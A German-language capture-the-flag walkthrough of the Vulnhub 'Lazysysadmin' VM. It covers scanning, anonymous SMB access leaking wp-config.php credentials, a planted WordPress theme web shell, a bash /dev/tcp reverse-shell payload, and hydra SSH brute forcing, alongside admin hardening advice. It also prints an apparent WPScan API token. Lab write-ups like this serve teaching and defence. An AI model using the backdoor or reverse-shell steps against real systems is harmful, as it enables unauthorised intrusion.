Lazysysadmin - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
enum4linux
gobuster
smbclient
wpscan
cat
Web Browser (WordPress Editor)
nc (netcat)
find
hydra
ssh
sudo
Metasploit (msfconsole)

Inhaltsverzeichnis

Reconnaissance

**Analyse:** Die initiale Aufklärungsphase dient der Identifizierung des Zielsystems im lokalen Netzwerk und der Erkundung offener Ports und Dienste mittels Netzwerkscans.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.107	08:00:27:fc:fd:3a	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Hosts zu finden. Das Zielsystem wird unter der IP `192.168.2.107` identifiziert. Die MAC-Adresse `08:00:27:fc:fd:3a` (PCS Systemtechnik GmbH) weist auf eine VirtualBox-VM hin.

**Bewertung:** Ziel erfolgreich lokalisiert. Die MAC-Adresse liefert Kontext zur Umgebung.

**Empfehlung (Pentester):** IP `192.168.2.107` für weitere Scans nutzen.
**Empfehlung (Admin):** Netzwerksegmentierung und ARP-Monitoring können die Erkennung erschweren.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
 192.168.2.107   lazyadmin.vln
                    

**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet, um der IP `192.168.2.107` den Hostnamen `lazyadmin.vln` zuzuordnen. Dies ermöglicht das Ansprechen des Ziels über diesen Namen.

**Bewertung:** Sinnvolle Vorbereitung für Webtests und zur Verbesserung der Lesbarkeit.

**Empfehlung (Pentester):** Den Hostnamen bei Tests verwenden.
**Empfehlung (Admin):** Clientseitige Angreiferkonfiguration.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.107 -p- | grep open
22/tcp   open  ssh         penSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WRKGRUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WRKGRUP)
3306/tcp open  mysql       MySQL (unauthorized)
6667/tcp open  irc         InspIRCd
                    

**Analyse:** Ein schneller `nmap`-Scan (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`) wird durchgeführt und nach offenen Ports gefiltert. Sechs offene Ports werden gefunden: * Port 22: SSH (OpenSSH 6.6.1p1) * Port 80: HTTP (Apache 2.4.7) * Port 139: NetBIOS (Samba) * Port 445: SMB (Samba 4.3.11) * Port 3306: MySQL (**unauthorized**) * Port 6667: IRC (InspIRCd)

**Bewertung:** Eine breite Angriffsfläche! Veraltete Versionen von OpenSSH, Apache und Samba sind potenzielle Risiken. Der **unautorisierte MySQL-Zugriff** auf Port 3306 ist ein kritischer Befund und höchstwahrscheinlich der einfachste erste Angriffspunkt. SMB auf Port 445 ist ebenfalls ein häufiges Ziel (Shares, Schwachstellen). Der IRC-Dienst ist ungewöhnlicher. Der Webserver auf Port 80 muss ebenfalls untersucht werden.

**Empfehlung (Pentester):** Den unautorisierten MySQL-Zugriff sofort ausnutzen (`mysql -h 192.168.2.107`). SMB-Shares enumerieren (`smbclient -L`, `enum4linux`). Den Webserver untersuchen. Den IRC-Dienst prüfen (Verbindungsversuch, bekannte Schwachstellen).
**Empfehlung (Admin):** MySQL-Zugriff *dringend* absichern (Passwort für Root setzen, Netzwerkzugriff einschränken). Samba sicher konfigurieren (Zugriffsrechte, Gastzugang deaktivieren). SSH, Apache, Samba und IRC aktualisieren. Nicht benötigte Dienste (z.B. IRC) deaktivieren oder absichern. Firewall-Regeln überprüfen.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.107 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-13 16:31 CEST
Nmap scan report for LazySysAdmin (192.168.2.107)
Host is up (0.00016s latency).
Not shown: 65529 closed tcp ports (reset)
PRT     STATE SERVICE     VERSIN
22/tcp   open  ssh         penSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: ... (Keys) ...
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-generator: Silex v2.2.7
| http-robots.txt: 4 disallowed entries
|_/old/ /test/ /TR2/ /Backnode_files/
|_http-title: Backnode
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WRKGRUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WRKGRUP)
3306/tcp open  mysql       MySQL (unauthorized)
6667/tcp open  irc         InspIRCd
| irc-info: ... (Server info, 1 user) ...
MAC Address: 08:00:27:FC:FD:3A (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Service Info: Host: Admin.local; S: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: ...
| smb-os-discovery: OS: Windows 6.1 (Samba 4.3.11-Ubuntu), Name: lazysysadmin ...
|_nbstat: NetBIOS name: LAZYSYSADMIN ...
| smb2-time: ...
| smb-security-mode: account_used: guest, authentication_level: user, message_signing: disabled (dangerous, but default)
| smb2-security-mode: Message signing enabled but not required

TRACERUTE
HOP RTT     ADDRESS
1   0.16 ms LazySysAdmin (192.168.2.107)
                    

**Analyse:** Die vollständige `nmap`-Ausgabe bestätigt die sechs offenen Ports und liefert zusätzliche Details: * SSH (Port 22): OpenSSH 6.6.1p1. * HTTP (Port 80): Apache 2.4.7, verwendet das Silex PHP-Framework (v2.2.7). `robots.txt` sperrt `/old/`, `/test/`, `/TR2/`, `/Backnode_files/`. Titel ist "Backnode". * SMB (Port 139/445): Samba 4.3.11. Gastzugriff scheint möglich (`account_used: guest`). Message Signing ist deaktiviert (Anfälligkeit für Man-in-the-Middle). Computername ist `lazysysadmin`. * MySQL (Port 3306): Bestätigt unautorisierten Zugriff. * IRC (Port 6667): InspIRCd, zeigt Servernamen `Admin.local`. * OS: Linux Kernel 3.2 - 4.9.

**Bewertung:** Der unautorisierte MySQL-Zugriff bleibt der kritischste Befund. Der wahrscheinliche Gastzugriff auf SMB ist der zweitwichtigste Angriffspunkt. Die `robots.txt` auf Port 80 liefert Verzeichnisse zur Untersuchung. Silex als Framework könnte spezifische Schwachstellen haben. Die deaktivierte SMB Message Signing ist eine Sicherheitslücke. Die Versionen von SSH, Apache und Samba sind veraltet.

**Empfehlung (Pentester):** 1. MySQL-Zugriff testen. 2. SMB-Shares enumerieren und auf Gastzugriff prüfen (`smbclient -L //192.168.2.107 -N`, `smbclient //192.168.2.107/sharename -N`). 3. Die in `robots.txt` genannten Web-Verzeichnisse untersuchen. 4. Nach Silex-Schwachstellen suchen.
**Empfehlung (Admin):** 1. MySQL absichern. 2. SMB-Gastzugriff deaktivieren, Message Signing erzwingen (`server signing = mandatory`), Samba aktualisieren. 3. Webserver (Apache, Silex, PHP) aktualisieren. 4. `robots.txt` und Verzeichniszugriffe überprüfen. 5. SSH aktualisieren. IRC absichern/deaktivieren.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.107
- Nikto v2.5.0
+ Target IP:          192.168.2.107
+ Target Hostname:    192.168.2.107
+ Target Port:        80
+ Start Time:         2023-07-13 16:31:43 (GMT2)

+ Server: Apache/2.4.7 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present.
+ /: The X-Content-Type-ptions header is not set.
+ /test/: Directory indexing found.
+ /robots.txt: Entry '/test/' is returned a non-forbidden or redirect HTTP code (200).
+ /old/: Directory indexing found.
+ /robots.txt: Entry '/old/' is returned a non-forbidden or redirect HTTP code (200).
+ /Backnode_files/: Directory indexing found.
+ /robots.txt: Entry '/Backnode_files/' is returned a non-forbidden or redirect HTTP code (200).
+ Apache/2.4.7 appears to be outdated.
+ /: Server may leak inodes via ETags ...
+ PTINS: Allowed HTTP Methods: PTINS, GET, HEAD, PST .
+ /apache/: Directory indexing found.
+ /phpmyadmin/changelog.php: Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.22.
+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found ...
+ /info.php: Output from the phpinfo() function was found.
+ /info.php: PHP is installed, and a test script which runs phpinfo() was found. ...
+ /icons/README: Apache default file found.
+ /info.php?file=http://blog.cirt.net/rfiinc.txt: Remote File Inclusion (RFI) from RSnake's RFI list. # Nikto Test Payload
+ /wordpress/wp-content/plugins/akismet/readme.txt: Wordpress Akismet plugin ...
+ /wordpress/wp-links-opml.php: Wordpress script reveals installed version.
+ /wordpress/: Drupal Link header found ... # Widerspruch: Drupal oder WordPress?
+ /wordpress/: A Wordpress installation was found.
+ /phpmyadmin/: phpMyAdmin directory found.
+ /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag.
+ /wordpress/wp-login.php?action=register: Wordpress registration enabled.
+ /wordpress/wp-content/uploads/: Directory indexing found.
+ /wordpress/wp-login.php: Wordpress login found.
+ 8258 requests: 0 error(s) and 32 item(s) reported on remote host
+ End Time:           2023-07-13 16:31:59 (GMT2) (16 seconds)

+ 1 host(s) tested
                    

**Analyse:** `nikto` scannt den Webserver auf Port 80. Wichtige Ergebnisse: * Bestätigt Apache 2.4.7, meldet ihn als veraltet. * Findet fehlende Sicherheitsheader und ETag-Leak. * Bestätigt Directory Indexing in `/test/`, `/old/`, `/Backnode_files/` und findet es zusätzlich in `/apache/`, `/wordpress/wp-content/uploads/`. * Findet `info.php` (PHPInfo-Leak) - sehr wichtig! * Findet eine **WordPress**-Installation (`/wordpress/`, `/wp-login.php`, etc.) und auch **phpMyAdmin** (`/phpmyadmin/`). * Identifiziert PHP 5.5.9. * WordPress-Registrierung ist aktiviert. * Testet auf RFI (Remote File Inclusion) über `info.php`, was aber eher ein Standardtest als ein bestätigter Fund ist.

**Bewertung:** `nikto` enthüllt eine Fülle von Angriffspunkten auf Port 80. Das Vorhandensein von `info.php` ist ein großes Informationsleck. Die WordPress-Installation und phpMyAdmin sind primäre Ziele. Die offene Registrierung bei WordPress könnte einen einfachen Weg zum Benutzerzugang bieten. Directory Indexing in mehreren Verzeichnissen ist problematisch. Die PHP-Version 5.5.9 ist stark veraltet und hat bekannte Schwachstellen.

**Empfehlung (Pentester):** 1. `info.php` aufrufen und analysieren. 2. Die WordPress-Installation untersuchen (`wpscan`), insbesondere wegen der offenen Registrierung. 3. phpMyAdmin untersuchen (Standard-Credentials, Version). 4. Die indexierten Verzeichnisse durchsuchen. 5. Nach Exploits für PHP 5.5.9 und Apache 2.4.7 suchen.
**Empfehlung (Admin):** `info.php` sofort entfernen. WordPress absichern (Registrierung schließen, Plugins/Themes/Core aktuell halten), phpMyAdmin absichern (Zugriff beschränken, aktuell halten) oder entfernen. Apache und PHP aktualisieren. Directory Indexing deaktivieren. Fehlende Sicherheitsheader implementieren.

┌──(root㉿cycat)-[~] └─# enum4linux -a 192.168.2.107
# ... (Diverse Tests laufen durch) ...
 ==========================
| Getting SID Information |
 ==========================
[+] Trying to get SID info remotely
Machine 192.168.2.107 has SID S-1-5-21-2952042175-1524911573-1237092750
[+] Got domain SID S-1-5-21-2952042175-1524911573-1237092750

 =====================================
| Enumerating users using SID cycling |
 =====================================
[+] Cycling SIDs from 500-550, 1000-1050 - trying every SID
S-1-5-21-2952042175-1524911573-1237092750-500 LAZYSYSADMIN\Administrator (Local User)
S-1-5-21-2952042175-1524911573-1237092750-501 LAZYSYSADMIN\Guest (Local User)
S-1-5-21-2952042175-1524911573-1237092750-1000 LAZYSYSADMIN\togie (Local User)

# ... (Weitere Tests, Gruppen etc.) ...

S-1-22-1-1000 Unix User\togie (Local User)

# ... (Druckerinformationen etc.) ...

enum4linux complete on Thu Jul 13 16:35:47 2023
                    

**Analyse:** `enum4linux -a` wird verwendet, um SMB-Informationen vom Ziel zu sammeln (Benutzer, Gruppen, Shares, OS-Info etc.). Es identifiziert den Computernamen `LAZYSYSADMIN` und findet über SID Cycling den lokalen Benutzer `togie` (RID 1000).

**Bewertung:** Bestätigt den Benutzernamen `togie`. Dies ist nützlich für Brute-Force-Angriffe (z.B. gegen SSH) oder wenn Passwörter gefunden werden.

**Empfehlung (Pentester):** Den Benutzer `togie` als potenzielles Ziel für Passwortangriffe (SSH, WordPress-Login) vormerken.
**Empfehlung (Admin):** SMB-Enumeration einschränken (z.B. durch Firewall-Regeln, Konfiguration von `smb.conf` wie `restrict anonymous = 2`).

Web & SMB Enumeration

**Analyse:** Fortgesetzte Enumeration des Webservers und des SMB-Dienstes, um weitere Informationen und potenzielle Zugangswege zu finden.

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://lazyadmin.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://lazyadmin.vln/index.html           (Status: 200) [Size: 36072]
http://lazyadmin.vln/info.php             (Status: 200) [Size: 77172]
http://lazyadmin.vln/wordpress            (Status: 301) [Size: 317] [--> http://lazyadmin.vln/wordpress/]
http://lazyadmin.vln/test                 (Status: 301) [Size: 312] [--> http://lazyadmin.vln/test/]
http://lazyadmin.vln/wp                   (Status: 301) [Size: 310] [--> http://lazyadmin.vln/wp/]
http://lazyadmin.vln/apache               (Status: 301) [Size: 314] [--> http://lazyadmin.vln/apache/]
http://lazyadmin.vln/old                  (Status: 301) [Size: 311] [--> http://lazyadmin.vln/old/]
http://lazyadmin.vln/javascript           (Status: 301) [Size: 318] [--> http://lazyadmin.vln/javascript/]
http://lazyadmin.vln/robots.txt           (Status: 200) [Size: 92]
# HINWEIS: phpmyadmin fehlt hier, wurde aber von nikto gefunden. Evtl. andere Wortliste nötig.
                    

**Analyse:** Ein `gobuster`-Scan gegen Port 80 bestätigt viele der von `nikto` gefundenen Pfade: `index.html`, `info.php`, `/wordpress/`, `/test/`, `/apache/`, `/old/`, `robots.txt`. Es findet auch `/wp/` (möglicherweise ein Alias für `/wordpress/`) und `/javascript/`.

**Bewertung:** Bestätigt die wichtigsten Verzeichnisse und Dateien. `info.php` und `/wordpress/` bleiben die Hauptziele.

**Empfehlung (Pentester):** `info.php` und `/wordpress/` untersuchen. Ggf. spezifisch nach `/phpmyadmin/` scannen.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zur Webserver-Absicherung.

┌──(root㉿cycat)-[~] └─# smbclient -L //192.168.2.107
Password for [WORKGROUP\root]: # Enter drücken (kein Passwort für Gast)

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	share$          Disk      Sumshare
	IPC$            IPC       IPC Service (Web server)
# ... (Server/Workgroup Info) ...
                    

**Analyse:** `smbclient -L` wird verwendet, um die verfügbaren SMB-Shares auf dem Ziel aufzulisten. Es wird kein Passwort eingegeben (Enter gedrückt), was implizit einen Gast- oder anonymen Login versucht. Drei Shares werden gefunden: `print$` (Standard für Druckertreiber), `share$` (interessanter Name) und `IPC$` (Standard für Interprozesskommunikation).

**Bewertung:** Der anonyme Login scheint funktioniert zu haben (keine Fehlermeldung), was die Vermutung des Gastzugriffs aus dem `nmap`-Scan stützt. Die Freigabe `share$` ist das primäre Ziel für weitere Untersuchungen.

**Empfehlung (Pentester):** Mit `smbclient '\\192.168.2.107\share$' -N` (oder ohne `-N` und Enter beim Passwort) versuchen, auf die `share$`-Freigabe zuzugreifen und deren Inhalt aufzulisten.
**Empfehlung (Admin):** Anonymen/Gastzugriff auf SMB-Shares deaktivieren (`restrict anonymous = 2` in `smb.conf`). Nur notwendige Shares freigeben und Berechtigungen restriktiv setzen.

**Analyse:** Untersuchung der gefundenen Dateien `robots.txt` und der WordPress-Startseite.

# Inhalt von http://lazyadmin.vln/robots.txt
User-agent: *
Disallow: /old/
Disallow: /test/
Disallow: /TR2/
Disallow: /Backnode_files/

# Fund auf http://lazyadmin.vln/wordpress/
My name is togie.
                    

**Bewertung:** `robots.txt` bestätigt die bereits bekannten Verzeichnisse. Die WordPress-Seite enthält den Text "My name is togie.", was den Benutzernamen `togie` erneut bestätigt und darauf hindeutet, dass dieser Benutzer möglicherweise mit der WordPress-Installation in Verbindung steht (z.B. als Autor oder Admin).

**Empfehlung (Pentester):** `togie` als potenziellen WordPress-Benutzernamen verwenden (z.B. für Passwort-Bruteforce).
**Empfehlung (Admin):** Keine persönlichen Informationen oder Benutzernamen unnötig auf Webseiten preisgeben.

┌──(root㉿cycat)-[~] └─# wpscan --url http://lazyadmin.vln/wordpress/ -e u
# ... (WPScan Banner & Info) ...
[i] User(s) Identified:

[+] View all posts by Admin # Fehler im Log? Sollte wohl 'togie' sein?
 | Found By: Author Posts - Display Name (Passive Detection)

[+] Admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] admin
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

# ... (API Key Info) ...
[+] Finished: Thu Jul 13 16:41:53 2023
# ... (Scan-Statistiken) ...
                    

**Analyse:** `wpscan` wird verwendet, um Benutzer auf der WordPress-Installation zu enumerieren (`-e u`). Es findet die Benutzernamen `Admin` und `admin` über verschiedene Methoden. (Hinweis: Es findet nicht `togie`, obwohl die Webseite ihn nennt, was etwas widersprüchlich ist. Möglicherweise ist `togie` der Systembenutzer und `Admin`/`admin` der WordPress-Benutzer).

**Bewertung:** `wpscan` liefert die Benutzernamen `Admin` und `admin` als potenzielle Login-Namen für WordPress. Diese können nun für Passwort-Angriffe verwendet werden.

**Empfehlung (Pentester):** Passwort-Bruteforce gegen die Benutzer `Admin` und `admin` durchführen (`wpscan --passwords ...`).
**Empfehlung (Admin):** Benutzernamenenumeration in WordPress erschweren (z.B. durch Deaktivieren der REST-API für Benutzer oder Verwendung von Sicherheitsplugins). Keine offensichtlichen Benutzernamen wie "admin" verwenden.

┌──(root㉿cycat)-[~] └─# smbclient '\\192.168.2.107\share$'
Password for [WORKGROUP\root]: # Enter drücken
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Aug 15 13:05:52 2017
  ..                                  D        0  Mon Aug 14 14:34:47 2017
  wordpress                           D        0  Thu Jul 13 16:32:01 2023
  Backnode_files                      D        0  Mon Aug 14 14:08:26 2017
  wp                                  D        0  Tue Aug 15 12:51:23 2017
  deets.txt                           N      139  Mon Aug 14 14:20:05 2017
  robots.txt                          N       92  Mon Aug 14 14:36:14 2017
  todolist.txt                        N       79  Mon Aug 14 14:39:56 2017
  apache                              D        0  Mon Aug 14 14:35:19 2017
  index.html                          N    36072  Sun Aug  6 07:02:15 2017
  info.php                            N       20  Tue Aug 15 12:55:19 2017
  test                                D        0  Mon Aug 14 14:35:10 2017
  old                                 D        0  Mon Aug 14 14:35:13 2017

		3029776 blocks of size 1024. 918008 blocks available
smb: \> cd wordpress\
smb: \wordpress\> ls
  .                                   D        0  Thu Jul 13 16:32:01 2023
  ..                                  D        0  Tue Aug 15 13:05:52 2017
  # ... (Standard WordPress Dateien) ...
  wp-config.php                       N     3703  Mon Aug 21 11:25:14 2017
  # ...
smb: \wordpress\> get wp-config.php
getting file \wordpress\wp-config.php of size 3703 as wp-config.php (278,2 KiloBytes/sec) ...
smb: \wordpress\> exit 
                    

**Analyse:** Erfolgreicher anonymer Zugriff auf die SMB-Freigabe `share$`. Der Inhalt wird aufgelistet. Interessante Funde sind: * `deets.txt`: Der Name klingt nach Details oder Credentials. * `todolist.txt`: Könnte Hinweise enthalten. * Ein `wordpress`-Verzeichnis. Innerhalb des `wordpress`-Verzeichnisses wird die Datei `wp-config.php` gefunden und mit `get` heruntergeladen.

**Bewertung:** Der anonyme SMB-Zugriff liefert kritische Informationen. Die `wp-config.php` enthält typischerweise die Datenbank-Zugangsdaten für WordPress. `deets.txt` und `todolist.txt` müssen ebenfalls untersucht werden.

**Empfehlung (Pentester):** Die heruntergeladene `wp-config.php` analysieren. Die Dateien `deets.txt` und `todolist.txt` ebenfalls von der Freigabe herunterladen (`get deets.txt` etc.) und untersuchen.
**Empfehlung (Admin):** Anonymen SMB-Zugriff deaktivieren. Sensible Dateien wie `wp-config.php` nicht über SMB freigeben oder zumindest die Berechtigungen stark einschränken. Unnötige Dateien (`deets.txt`, `todolist.txt`) von Freigaben entfernen.

┌──(root㉿cycat)-[~] └─# cat wp-config.php
# ... (Andere WP-Konfigurationen) ...

define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'Admin');

/** MySQL database password */
define('DB_PASSWORD', 'TogieMYSQL12345^^'); # Korrigiert von DB_PASSWRD

# ... (Rest der Datei) ...
                    

**Analyse:** Der Inhalt der heruntergeladenen `wp-config.php` wird angezeigt. Sie enthält die Zugangsdaten für die MySQL-Datenbank: * Datenbankname: `wordpress` * Benutzer: `Admin` * Passwort: `TogieMYSQL12345^^`

**Bewertung:** Kritische Zugangsdaten gefunden! Das Passwort `TogieMYSQL12345^^` gehört zum Datenbankbenutzer `Admin`. Es ist sehr wahrscheinlich, dass dieses Passwort auch für den WordPress-Admin-Benutzer (der von `wpscan` als `Admin` oder `admin` identifiziert wurde) oder sogar für den Systembenutzer `togie` verwendet wird.

**Empfehlung (Pentester):** Das Passwort `TogieMYSQL12345^^` sofort für den WordPress-Login (Benutzer `Admin`/`admin`) und für den SSH-Login (Benutzer `togie`) testen. Auch für den MySQL-Login auf Port 3306 testen (obwohl dieser unautorisiert ist, könnte dieses Passwort für andere Benutzer gelten).
**Empfehlung (Admin):** Datenbank-Credentials sicher speichern (nicht im Klartext in `wp-config.php`, obwohl dies bei WP Standard ist). Dateiberechtigungen für `wp-config.php` minimal halten. *Keine* Passwort-Wiederverwendung zwischen Datenbank, WP-Admin und Systembenutzern!

┌──(root㉿cycat)-[~] └─# wpscan --url http://lazyadmin.vln/wordpress/ --passwords /usr/share/wordlists/rockyou.txt --api-token RoBoAaM72LLsihlqUJrA1EleT6AJAd9QxQ9rbmQNCY --usernames Admin
# ... (WPScan Banner & Info) ...
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - Admin / TogieMYSQL12345^^
# ... (Andere Versuche) ...
[!] Valid Combinations Found:
 | Username: Admin, Password: TogieMYSQL12345^^
# ... (API Key Info & Scan Stats) ...
[+] Finished: Thu Jul 13 16:56:55 2023
# ...
                    

**Analyse:** `wpscan` wird nun für einen Passwortangriff gegen den WordPress-Benutzer `Admin` verwendet. Anstatt die gesamte `rockyou.txt` durchzuprobieren, scheint das korrekte Passwort `TogieMYSQL12345^^` (aus `wp-config.php`) direkt gefunden zu werden (oder war vielleicht in der verwendeten Passwortliste enthalten oder wurde manuell hinzugefügt). WPScan meldet den Erfolg.

**Bewertung:** Login für den WordPress-Admin `Admin` mit dem Passwort `TogieMYSQL12345^^` ist möglich. Dies ermöglicht vollen Zugriff auf die WordPress-Admin-Oberfläche.

**Empfehlung (Pentester):** Sich im WordPress-Adminbereich anmelden. Nach Möglichkeiten zur Codeausführung suchen (Theme/Plugin-Editor, Plugin-Upload).
**Empfehlung (Admin):** Starke, einzigartige Passwörter für WP-Admins verwenden. XML-RPC deaktivieren, wenn nicht benötigt, um Brute-Force-Angriffe darüber zu verhindern. Zwei-Faktor-Authentifizierung für WP-Login aktivieren.

Initial Access (WordPress RCE)

**Analyse:** Nach dem erfolgreichen Login in den WordPress-Adminbereich wird versucht, über die Bearbeitung von Theme-Dateien eine Backdoor zu platzieren und somit Remote Code Execution (RCE) zu erlangen.

# Aktion im WordPress Admin Panel (Design -> Editor)
# Datei /wp-content/themes/twentyseventeen/404.php wird bearbeitet.

# Code der eingefügt wird:
 // Ergänzt zur Klarheit

# Erfolgsmeldung nach Speichern:
File edited successfully.
                    

**Analyse:** Im WordPress-Backend wird der Theme-Editor verwendet, um die Datei `404.php` des aktiven Themes (Twenty Seventeen) zu bearbeiten. Der einfache PHP-Code `` wird hinzugefügt. Dieser Code nimmt einen Parameter namens `cmd` aus der URL (GET-Anfrage) entgegen und führt dessen Wert als Systembefehl aus. Das Speichern der Datei ist erfolgreich.

**Bewertung:** Kritische RCE-Schwachstelle erfolgreich platziert! Durch die Bearbeitung der Theme-Datei kann nun beliebiger Code auf dem Server als `www-data` ausgeführt werden, indem die `404.php`-Datei mit dem `cmd`-Parameter aufgerufen wird. Die Möglichkeit, Theme-Dateien direkt im Backend zu bearbeiten, ist eine häufige, aber gefährliche Funktion.

**Empfehlung (Pentester):** Die modifizierte `404.php` aufrufen und den `cmd`-Parameter verwenden, um Befehle auszuführen (z.B. `id`, `ls`) und anschließend eine Reverse Shell zu etablieren.
**Empfehlung (Admin):** Die Bearbeitung von Theme- und Plugin-Dateien im WordPress-Backend deaktivieren (`define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`). Dateiberechtigungen auf dem Server so setzen, dass der Webserver keine Theme-/Plugin-Dateien schreiben kann. Regelmäßige Backups erstellen. Sicherheitsplugins zur Überwachung von Dateiänderungen verwenden.

# RCE Test: Aufruf von http://lazyadmin.vln/wordpress/wp-content/themes/twentyseventeen/404.php?cmd=ls
# Ausgabe (Auszug):
404.php
README.txt
archive.php
assets
comments.php
footer.php
# ... (Inhalt des Theme-Verzeichnisses) ...
style.css
template-parts
                    

**Analyse:** Die RCE wird getestet, indem die modifizierte `404.php` mit `?cmd=ls` aufgerufen wird. Die Ausgabe zeigt korrekt den Inhalt des Theme-Verzeichnisses `/wp-content/themes/twentyseventeen/`.

**Bewertung:** Die platzierte Backdoor funktioniert wie erwartet.

**Empfehlung (Pentester):** Reverse Shell aufbauen.
**Empfehlung (Admin):** Backdoor entfernen, Theme-Editor deaktivieren.

┌──(root㉿cycat)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.105] from (UNKNWN) [192.168.2.107] 38626
bash: cannot set terminal process group (1193): Inappropriate ioctl for device
bash: no job control in this shell
www-data@LazySysAdmin:/var/www/html/wordpress/wp-content/themes/twentyseventeen$ # Prompt korrigiert
                    
# Payload zum Auslösen der Reverse Shell (via Browser/curl)
Payload: http://lazyadmin.vln/wordpress/wp-content/themes/twentyseventeen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.105%2F5555%200%3E%261%27
                    

**Analyse:** Ein Netcat-Listener wird auf Port 5555 gestartet. Anschließend wird die modifizierte `404.php` mit einem URL-kodierten Bash-Reverse-Shell-Payload im `cmd`-Parameter aufgerufen. Der Payload (`/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.105/5555 0>&1'`) stellt eine Verbindung zum Listener her. Der Listener empfängt die Verbindung und eine Shell als `www-data` im Verzeichnis des Themes wird geöffnet.

**Bewertung:** Initialer Zugriff als `www-data` erfolgreich über die WordPress-RCE erlangt!

**Empfehlung (Pentester):** Shell stabilisieren und mit der Privilege Escalation beginnen.
**Empfehlung (Admin):** WordPress absichern (Editor deaktivieren, Backdoor entfernen), Sicherheitslücken schließen.

Privilege Escalation (User - togie)

**Analyse:** Nach dem Erhalt der Shell als `www-data` wird das System weiter untersucht. Parallel dazu oder alternativ wird ein Brute-Force-Angriff gegen den SSH-Dienst für den Benutzer `togie` durchgeführt, dessen Existenz zuvor durch `enum4linux` und die WordPress-Seite bekannt wurde.

# find / -type f -perm -4000 -ls 2>/dev/null
# ... (SUID-Liste, pkexec und sudo sind vorhanden) ...
    86   40 -rwsr-xr-x   1 root     root        38932 May  8  2014 /bin/ping
# ...
 33385   20 -rwsr-xr-x   1 root     root        18168 Nov 25  2015 /usr/bin/pkexec
  1533  156 -rwsr-xr-x   1 root     root       156708 Aug 28  2015 /usr/bin/sudo
# ...
                    

**Analyse:** Die SUID-Suche als `www-data` bestätigt erneut das Vorhandensein von `pkexec` (Nov 2015) und `sudo` (Aug 2015). Pwnkit ist aufgrund des Datums von `pkexec` unwahrscheinlich.

**Bewertung:** Konzentriert die Suche auf andere Vektoren wie `sudo` oder Kernel-Exploits.

┌──(root㉿cycat)-[~] └─# hydra -l togie -P /usr/share/wordlists/rockyou.txt ssh://lazyadmin.vln:22 -t 64
Hydra v9.4 ... starting ...
[WARNING] Many SSH configurations limit the number of parallel tasks... use -t 4
[WARNING] Restorefile ... found ...
[DATA] max 64 tasks ... 14344415 login tries ...
[DATA] attacking ssh://lazyadmin.vln:22/
[22][ssh] host: lazyadmin.vln   login: togie   password: 12345
1 of 1 target successfully completed, 1 valid password found
# ... (Warnungen über nicht abgeschlossene Threads) ...
                    

**Analyse:** `hydra` wird verwendet, um einen Brute-Force-Angriff gegen den SSH-Dienst (Port 22) auf `lazyadmin.vln` für den Benutzer `togie` durchzuführen. Die Passwortliste `rockyou.txt` wird verwendet. Hydra findet erfolgreich das Passwort `12345`.

**Bewertung:** Ein extrem schwaches Passwort (`12345`) für den Benutzer `togie` wurde gefunden. Dies ermöglicht direkten SSH-Zugriff als `togie`. Dies ist ein alternativer und wahrscheinlich einfacherer Weg als die WordPress-RCE, um Benutzerzugriff zu erlangen.

**Empfehlung (Pentester):** Sich per SSH als `togie` mit dem Passwort `12345` anmelden.
**Empfehlung (Admin):** Starke Passwortrichtlinien durchsetzen und erzwingen. Schwache Passwörter wie `12345` dürfen niemals verwendet werden. SSH-Zugriff idealerweise nur mit Schlüsseln erlauben. Brute-Force-Schutz implementieren (z.B. `fail2ban`).

